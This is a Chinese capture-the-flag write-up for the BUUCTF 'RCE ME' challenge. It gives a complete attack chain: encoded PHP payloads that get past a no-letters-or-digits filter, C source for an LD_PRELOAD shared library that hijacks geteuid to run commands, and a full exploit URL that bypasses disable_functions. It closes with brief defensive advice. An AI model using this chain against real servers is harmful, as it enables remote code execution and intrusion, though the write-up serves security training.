当前位置: 首页 > news >正文

BUUCTF:[极客大挑战 2019]RCE ME 深度解析:从正则绕开到LD_PRELOAD的完整利用链

1. 题目背景与初步分析

BUUCTF的[极客大挑战 2019]RCE ME是一道典型的PHP代码审计与绕过题目。题目给出了一个简单的PHP页面,核心代码如下:

<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("太长了"); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("太简单了"); } @eval($code); } else{ highlight_file(__FILE__); } ?>

这段代码有几个关键限制:

  1. 输入的code参数长度不能超过40个字符
  2. 不能包含任何字母和数字
  3. 最终会通过eval执行我们的输入

面对这样的限制,常规的RCE方法基本都被堵死了。我们需要找到一种既不需要字母数字,又足够简洁的payload构造方式。

2. 绕过正则限制

2.1 取反编码绕过原理

PHP中有一个非常有趣的特性:通过取反运算符(~)和URL编码,可以构造出完全不包含字母数字的payload。具体原理是:

  1. PHP允许使用~对字符串进行按位取反操作
  2. 取反后的字符串可以通过urlencode编码
  3. 最终得到的是一串百分号开头的编码,完全符合题目要求

举个例子,要执行phpinfo(),我们可以这样做:

php -r "echo urlencode(~'phpinfo');" # 输出:%8F%97%8F%96%91%99%90

然后构造payload:

?code=(~%8F%97%8F%96%91%99%90)();

这个payload完全避开了字母数字检测,长度也符合要求。

2.2 其他绕过方法对比

除了取反编码,还有几种常见的绕过方式:

  1. 异或运算:通过字符间的异或运算生成所需函数名
  2. 自增技巧:利用PHP的类型转换特性
  3. 字符串拼接:通过.运算符组合特殊字符

但在本题中,由于长度限制,取反编码是最优解。我实测过其他方法,要么长度超标,要么构造过于复杂。

3. 分析disable_functions限制

成功执行phpinfo()后,我们发现服务器配置了严格的disable_functions:

pcntl_alarm, pcntl_fork, ..., system, exec, shell_exec, popen, proc_open, passthru, ...

基本上所有能直接执行系统命令的函数都被禁用了。这意味着即使我们拿到了webshell,也无法直接执行系统命令。

这种情况下,我们需要寻找不依赖这些函数的RCE方法。经过分析,发现以下几个突破口:

  1. LD_PRELOAD环境变量劫持
  2. PHP FFI扩展(如果启用)
  3. ImageMagick漏洞(如果安装)

其中LD_PRELOAD是最可靠的方案,因为:

  • 它不依赖任何PHP函数
  • 只需要能上传文件和执行PHP代码
  • 在Linux系统上普遍可用

4. LD_PRELOAD利用详解

4.1 原理剖析

LD_PRELOAD是Linux系统的一个环境变量,它可以指定在程序运行前优先加载的动态链接库。我们可以利用这个特性:

  1. 编写一个恶意.so文件,定义一些关键函数的替代实现
  2. 通过LD_PRELOAD让目标程序加载我们的.so
  3. 当目标程序调用这些函数时,实际执行的是我们的代码

关键在于PHP的mail()函数会隐式调用外部程序sendmail,这就给了我们注入的机会。

4.2 实际操作步骤

  1. 首先准备一个恶意的C代码:
// bypass_disablefunc.c #include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { const char* cmd = getenv("CMD"); system(cmd); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
  1. 编译为共享库:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
  1. 上传.so文件到服务器(本题中/var/tmp可写)
  2. 构造最终的payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/shell.php')&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

这个payload做了以下几件事:

  • 使用取反编码绕过初始限制
  • 包含一个特制的PHP脚本
  • 设置CMD环境变量为/readflag
  • 指定.so文件路径

5. 完整利用链总结

回顾整个利用过程,可以分为四个关键阶段:

  1. 代码审计:分析题目给出的PHP代码,理解限制条件
  2. 正则绕过:使用取反编码技术构造无字母数字的payload
  3. 环境侦察:通过phpinfo()获取服务器配置信息
  4. 权限突破:利用LD_PRELOAD绕过disable_functions限制

在实际渗透测试中,这种层层递进的思路非常实用。每个环节都需要考虑多种可能性,并选择最合适的绕过方法。

6. 防御建议

从防御角度,可以采取以下措施:

  1. 避免直接使用eval执行用户输入
  2. 使用白名单而非黑名单过滤特殊字符
  3. 限制上传目录的执行权限
  4. 定期更新PHP版本,修复已知漏洞
  5. 使用SELinux等强制访问控制机制

这道题很好地展示了安全防护的深度防御原则 - 即使突破了第一道防线,后面还应该有其他防护措施。

http://www.jsqmd.com/news/791987/

相关文章:

  • MySQL binlog深度解析与数据恢复实战:my2sql工具全解析
  • PlayCover完整指南:在Apple Silicon Mac上运行iOS应用与游戏的终极解决方案
  • 浙江金瑞恒消防灭火剂 头部品牌品质靠谱出众 - 品牌速递
  • GetQzonehistory:5分钟免费备份你的QQ空间青春回忆
  • STM32F103C8T6定时器TIM3中断配置详解:从CubeMX生成代码到点亮LED
  • 用Python和face_recognition库,5分钟搞定一个简易人脸考勤系统(附完整代码)
  • 终极GTA5线上小助手:完全免费的游戏体验增强工具完整指南
  • Windows Cleaner终极指南:5步让你的电脑告别卡顿,C盘空间翻倍!
  • TrollInstallerX终极指南:iOS 14-16.6.1系统一键安装TrollStore的完整教程
  • 浙江金瑞恒消防灭火剂 厂家推荐一致好评领航 - 品牌速递
  • 从Word到LaTeX的完美转换:3种方案对比与docx2tex终极指南
  • taotoken token plan套餐如何帮助开发者更经济地使用大模型
  • nCode DesignLife材料库实战:以SAE1050钢为例,完成非线性几何载荷下的疲劳寿命评估
  • 如何快速实现拼多多商品数据采集:面向电商从业者的完整解决方案
  • Wireshark抓包实战:手把手教你解析IEC61850 GOOSE报文(附ASN.1解码技巧)
  • 如何快速掌握思源宋体:7种免费商用字体让你的设计瞬间专业
  • C语言最短路径
  • 第四部分-Docker网络与存储——19. 容器间通信
  • ImageGlass架构深度剖析:Windows平台高性能图像浏览引擎的技术实现与优化
  • 概率-dp
  • AXI4-Lite协议实战:从接口信号到SoC集成
  • S32K144 Lin组件实战:告别官方LinStack,手把手教你用底层驱动搞定超声波雷达
  • LinkSwift:如何让网盘下载从龟速到光速?这款工具给出了答案
  • 观察不同时段调用Taotoken多模型API的延迟波动情况
  • 如何入门代码调试
  • 终极指南:3分钟快速找回Navicat数据库连接密码的免费工具
  • 终极指南:3步解锁碧蓝航线全皮肤功能的Perseus补丁配置
  • 我还是要坚持住
  • “社恐”技术大牛周志明的写作哲学:如何像他一样,用开源文档和博客打造个人技术品牌
  • 别再只配防火墙了!华为USG+交换机联动配置实战:让内网用户顺利上网的完整闭环